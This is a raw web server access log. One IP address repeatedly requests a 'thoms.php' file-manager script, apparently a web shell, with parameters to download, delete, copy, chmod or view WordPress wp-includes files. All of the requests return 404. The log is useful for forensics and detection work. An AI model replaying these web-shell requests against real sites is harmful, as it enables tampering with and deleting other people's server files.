45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?dl=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?del=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?del=revision.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?chmod=ms-load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?chmod=widgets&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?del=class-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=class-wp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:53 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?del=post-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?dl=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?del=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?del=session.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=session.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?del=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?chmod=kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?chmod=link-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?del=script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:54 -0400] "GET /thoms.php?chmod=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?del=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-IXR.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-IXR.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:55 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fplugin.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fplugin.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsession.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsession.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?chmod=block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?del=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?chmod=blocks&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcache-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcache-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?chmod=l10n.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?del=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:56 -0400] "GET /thoms.php?del=version.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=version.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
